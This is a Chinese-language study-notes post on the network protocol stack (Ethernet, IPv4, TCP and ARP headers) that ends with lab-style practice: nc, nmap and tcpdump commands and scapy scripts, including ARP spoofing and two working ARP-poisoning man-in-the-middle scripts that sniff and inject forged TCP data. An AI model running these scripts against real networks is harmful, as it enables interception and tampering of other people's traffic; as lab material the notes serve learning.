web通信协议栈(总结)

2024-06-16

前言

复习一下web通信需要经过的各个协议以及层级划分

1. 物理层 Physical Layer

物理层,顾名思义,表示实际的物理链接。
物理层利用物理传输介质为通信的两端建立链接,实现比特流的传输,如铜线、光缆或无线通道,保证比特流正确的传输到对端。
常见设备包括中继器、集线器等。其中集线器 Hub,完全在物理层工作,会将自己收到的每一个字节,都复制到其他端口上去,即广播模式。

链路层,又称 MAC 层。MAC 的全称为 Medium Access Control,即媒体访问控制,主要有两个功能,寻址和控制
当然,mac层寻址和控制的实际原理是啥也需要了解一下,但不是本文重点,(pass),本文主要讨论在MAC层传输的报文格式
以太网帧 Ethernet frame 是 MAC 层传输数据的基本单位。
其结构如下图所示
这张图引用自https://zhuanlan.zhihu.com/p/632182501
总之mac的头是比较简洁的,只有14个字节,字段有3个,其中

目标mac地址, 6字节,广播时标记为ff ff ff ff ff ff
源mac地址,6字节,即发送方的mac地址
类型,2字节,表示上层传输类型是什么,举个例子,0x0800就代表IPv4协议

MAC层通常用于物理相邻的设备的通信

2.1 MAC层通信示例图

其中

  • bridge0是一个网络桥接设备(Network Bridge Device)。它的主要作用是连接多个网络接口,使这些接口像在同一个网络交换机上一样工作,从而实现不同网络接口之间的通信。
  • eth0是主机上的实际物理网卡
  • vethA/vethB/vethC表示虚拟以太网设备(Virtual Ethernet Devices),这三个虚拟以太网的一端连着bridge0,另一端连着各自对于主机的eth0

以主机A和主机B通信为例,在这种架构下,A往B发送报文,报文传递方向为 A:eth0 -> vethA -> bridge0 -> vethB -> B:eth0
这样设计的好处在于可以在虚拟环境中(如Docker容器、虚拟机等)轻松创建和管理复杂的网络拓扑结构,同时保证主机之间的隔离和独立性。

3. IPv4协议

IPv4协议主要用于不相邻的各个主机的通信。
其结构如下:

Version: 4bits,指示IP协议的版本号。对于IPv4,该字段值为4

Internet Header Length: 4bits,指示IP报头的长度,以32位字(4字节)为单位。最小值为5(表示20字节的基本报头)。

Differentiated Services Field:1byte,一般是0x00,指示服务的优先级和特定的服务要求(如低延迟、高吞吐量等),白话的说就是有的报文很急,要先把它传出去的服务

Total Length: 2bytes,指示整个IP数据报的长度(包括报头和数据),以字节为单位。 

Identification: 2bytes,唯一标识数据报的ID,用于数据报分片重组

Flags: 3bits,用于控制和识别数据报的分片

Fragment Offset: 13bits,指示分片在原始数据报中的相对位置,以8字节为单位

Time To Live: 1byte,指示数据报在网络中存活的时间(跳数),每经过一个路由器减1,当TTL减为0时,数据报被丢弃。

Protocol: 1byte,指示上层协议类型(如TCP、UDP、ICMP等)。例如,TCP的协议号为6,UDP的协议号为17。

Header Checksum: 2bytes,用于校验报头的完整性。

Source IP Address: 4bytes,发送方的IP地址

Destination IP Address: 4bytes,接收方IP地址

Options: random bytes,可变长度,用于支持控制和调试等特定功能。选项字段不常用,当存在选项时,报头长度会相应增加。

4. TCP协议

TCP协议主要用于识别主机上的各个端口

2 bytes  -  Source Port   源端口
2 bytes  -  Destination Port 目的端口
4 bytes  -  Sequence Number  序列号
4 bytes  -  Acknowledgment Number  期望收到下一个字节的序列号
4 bits   -  Data Offset 表示TCP报头的长度,以32位字(4字节)为单位。指示数据部分在报文中的起始位置。
3 bits   -  Reserved 保留字段
9 bits   -  Flags 9位,包含多个控制位,常见的控制位有:
  URG(Urgent):紧急指针有效。
  ACK(Acknowledgment):确认号有效。
  PSH(Push):接收方应尽快将数据推送给应用程序。
  RST(Reset):重置连接。
  SYN(Synchronize):同步序号,用于建立连接。
  FIN(Finish):表示发送方已经完成发送数据,用于释放连接
2 bytes  -  Window Size 表示发送方的接收窗口大小,用于流量控制,指示可接收的字节数。
2 bytes  -  Checksum 用于校验TCP报头和数据的完整性,确保数据在传输过程中未被篡改
2 bytes  -  Urgent Pointer 仅当URG标志设置时有效,指示紧急数据的结束位置
?? bytes -  Options 

5. http协议

详情可见 http协议&常见的http请求命令用法

6. 完整协议栈示意图

7. 插曲: ARP协议

ARP协议(Address Resolution Protocol )主要应用于帮助各个主机在物理相连的网络中识别各个主机的IP

2 bytes -  Hardware Type  : 表示硬件类型
2 bytes -  Protocol Type  :表示要解析的协议的类型
1 byte  -  Hardware Address Length 硬件地址长度
1 byte  -  Protocol Address Length 指示协议地址的长度(以字节为单位)。ipv4就是4,ipv6就是16
2 bytes -  Operation 指定操作类型,1表示ARP请求,2表示ARP应答
6 bytes -  Sender Hardware Address 发送方的MAC地址
4 bytes -  Sender Protocol Address 发送方的IP地址
6 bytes -  Target Hardware Address 目标的MAC地址。在请求中通常为全零
4 bytes -  Target Protocol Address 目标的IP地址

8.实践: 扫描/监听报文

为了connect到 10.0.0.2 31337端口
nc 10.0.0.2 31337

为了监听本机的31337端口
nc -l 31337

扫描当前网段哪个ip开发了31337端口
namp -p 31337 10.0.0.0/24 

nmap -sS -p 31337 -T5 -Pn -n --min-rate 1000 10.0.0.0/16
-sS 使用TCP SYN扫描
-p 31337: 指定要扫描的端口为31337。
-T5: 设置扫描速度为最高(注意:这可能会增加被防火墙检测到的风险)。
-Pn: 跳过主机发现阶段,直接进行端口扫描。
-n: 禁用DNS解析以减少解析时间。
--min-rate 1000: 设定最小扫描速率为1000个包每秒。
10.0.0.0/16: 指定要扫描的网络范围为10.0.0.0到10.0.255.255。

tcpdump -A 'tcp and port 31337' -w capture.pcap
监控本地31337端口,监听tcp报文
-A 表示监控报文的数据并以ASCII形式打印
'tcp port 31337'表示监听tcp报文,端口是31337
-w表示把报文输出到文件中

tcpdump -A 'host 10.0.0.4 and host 10.0.0.2' -e
截获跟10.0.0.4与10.0.0.2相关的报文
-e告诉tcpdump显示以太网头信息,包括源和目的 MAC地址

ip addr add 10.0.0.2/24 dev eth0
通过ip addr add往网口添加ip地址,然后监听nc -l 31337 即可监听到tcp报文了

9. 实践: scapy编写发送脚本

9.1 发送以太网报文

from scapy.all import *

ether_packet = Ether()  # 创建以太包
ether_packet.type= 0xffff  # 设置type
ether_packet.src = "0e:4d:29:31:40:c8" # 设置dst
ether_packet.show() # 展示报文内容
sendp(ether_packet,iface="eth0") # 对网卡的设置很重要,不然你可能发送了没有回显

9.2 发送IP报文

from scapy.all import *
ip = IP(proto=0xff,src="10.0.0.2",dst="10.0.0.3")
ip.show()
send(ip) # send会自动处理二层报文和路由

9.3 发送TCP报文

from scapy.all import *
#TCP sport=31337, dport=31337, seq=31337, ack=31337, flags=APRSF
tcp = TCP(sport=31337,dport=31337,seq=31337,ack=31337,flags="APRSF")
tcp.show()
ip = IP(dst="10.0.0.3")
packet = ip/tcp
packet.show()
send(packet)

9.4 TCP三次握手

from scapy.all import *
#`TCP sport=31337, dport=31337, seq=31337`
tcp = TCP(sport=31337,dport=31337,seq=31337,flags="S")
ip = IP(dst="10.0.0.3")
packet = ip/tcp
packet.show()

syn_ack_packet = sr1(packet)
if syn_ack_packet and syn_ack_packet[TCP].flags == 'SA':
	  ack_packet = IP(dst="10.0.0.3") / TCP(sport=31337,dport=31337, flags='A',seq=syn_ack_packet.ack, ack=syn_ack_packet.seq + 1)
	  send(ack_packet)

9.5 发送ARP报文

from scapy.all import *
#ARP op=is-at` and correctly inform the remote host of where the sender can be found.
arp =ARP(op="is-at",psrc="10.0.0.2",pdst="10.0.0.3")
#arp.show()
ether = Ether()
packet = ether/arp
packet.show()
sendp(packet,iface="eth0")

9.6 arp欺骗

import scapy
from scapy.all import *
import time

arp =ARP(op="is-at",psrc="10.0.0.2",pdst="10.0.0.4")
#arp.show()
ether=Ether()
ether.dst="ff:ff:ff:ff:ff:ff" # 广播,告诉10.0.0.4,10.0.0.2的mac地址是xxxxx
packet = ether/arp
packet.show()

sendp(packet,iface="eth0") 

要想在本地监听到报文,需要:

ip addr add 10.0.0.2/24 dev eth0
nc -l 31337

9.7 tcp中间人流量监听

from scapy.all import *
import threading
import time
import sys
conf.verb= 0
ip1= "10.0.0.3"	
ip2= "10.0.0.4"
def arp_poison(target_ip,spoof_ip):
	arp=ARP(op="is-at",psrc=spoof_ip,pdst=target_ip)
	ether = Ether(dst="ff:ff:ff:ff:ff:ff")
	packet= ether/arp
	# packet.show()
	sendp(packet,iface="eth0")

def arp_spoof():
	while True:
		# print("start poisioning...")
		arp_poison(ip1,ip2)
		arp_poison(ip2,ip1)
		time.sleep(1)

def process_packet(packet):
	if IP in packet:
		ip_src = packet[IP].src
		ip_dst = packet[IP].dst
		if ip_src== ip1 and ip_dst == ip2:
			#print("{ip1} to {ip2}")
			if packet.haslayer(Raw):
				data = packet[Raw].load
				print(data)
			#send(packet,iface="eth0")
		else :
			if ip_src == ip2 and ip_dst ==ip1:
				#print("{ip2} to {ip1}")
				if packet.haslayer(Raw):
					copy = packet.copy()
					data = copy[Raw].load
					print(data)
					if b"ECHO" in data:
						print("hit!!!!!!!!!!!!!!!!!----------------------++++++++++++++++++")
						copy.show()
						copy[Raw].load = b"FLAG\n"
						del copy[IP].chksum
						del copy[TCP].chksum
						del copy[IP].len
						copy.show2()
						sendp(copy,iface="eth0") # 原本想要劫持,但是出了问题,但是发现通过send发送的报文无法被wireshark截获,然而sendp发送的被识别为不合法的报文,很怪
			#send(packet,iface="eth0")
arp_thread=threading.Thread(target=arp_spoof)
arp_thread.start()

sniff(prn=process_packet,iface="eth0")

sendp是可以发的,可以通过伪造发送ACK和 PSH,ACK报文来篡改消息(提早建链),然而还是没什么卵用…很绝望

from scapy.all import *
import threading
import time
import sys
conf.verb= 0
ip1= "10.0.0.3"	
ip2= "10.0.0.4"
def arp_poison(target_ip,spoof_ip):
	arp=ARP(op="is-at",psrc=spoof_ip,pdst=target_ip)
	ether = Ether(dst="ff:ff:ff:ff:ff:ff")
	packet= ether/arp
	# packet.show()
	sendp(packet,iface="eth0")

def arp_spoof():
	while True:
		# print("start poisioning...")
		arp_poison(ip1,ip2)
		arp_poison(ip2,ip1)
		time.sleep(1)

def process_packet(packet):
	if IP in packet:
		ip_src = packet[IP].src
		ip_dst = packet[IP].dst
		if ip_src== ip1 and ip_dst == ip2:
			#print("{ip1} to {ip2}")
			if packet.haslayer(Raw):
				data = packet[Raw].load
				print(data)
				if b"COMMANDS" in data:
					print("hit!!!------------------------")
					packet[IP].src = ip2
					packet[IP].dst = ip1
					sport = packet[TCP].sport
					dport = packet[TCP].dport
					packet[TCP].sport = dport
					packet[TCP].dport = sport
					packet[TCP].flags= "A"
					packet[TCP].window=502
					packet[Raw].load = None
					del packet[IP].len
					del packet[IP].chksum
					del packet[IP].chksum
					packet.show2()
					sendp(packet,iface="eth0")
					
					packet[Raw].load = b"FLAG\n"
					seq =packet[TCP].seq
					ack = packet[TCP].ack
					packet[TCP].seq = ack
					packet[TCP].ack = seq+29
					packet[TCP].flags = "PA"
					del packet[IP].len
					del packet[IP].chksum
					del packet[TCP].chksum
					packet.show2()
					sendp(packet,iface="eth0")
					
				
			#send(packet,iface="eth0")
		else :
			if ip_src == ip2 and ip_dst ==ip1:
				#print("{ip2} to {ip1}")
				if packet.haslayer(Raw):
					copy = packet.copy()
					data = copy[Raw].load
					print(data)
arp_thread=threading.Thread(target=arp_spoof)
arp_thread.start()

sniff(prn=process_packet,iface="eth0")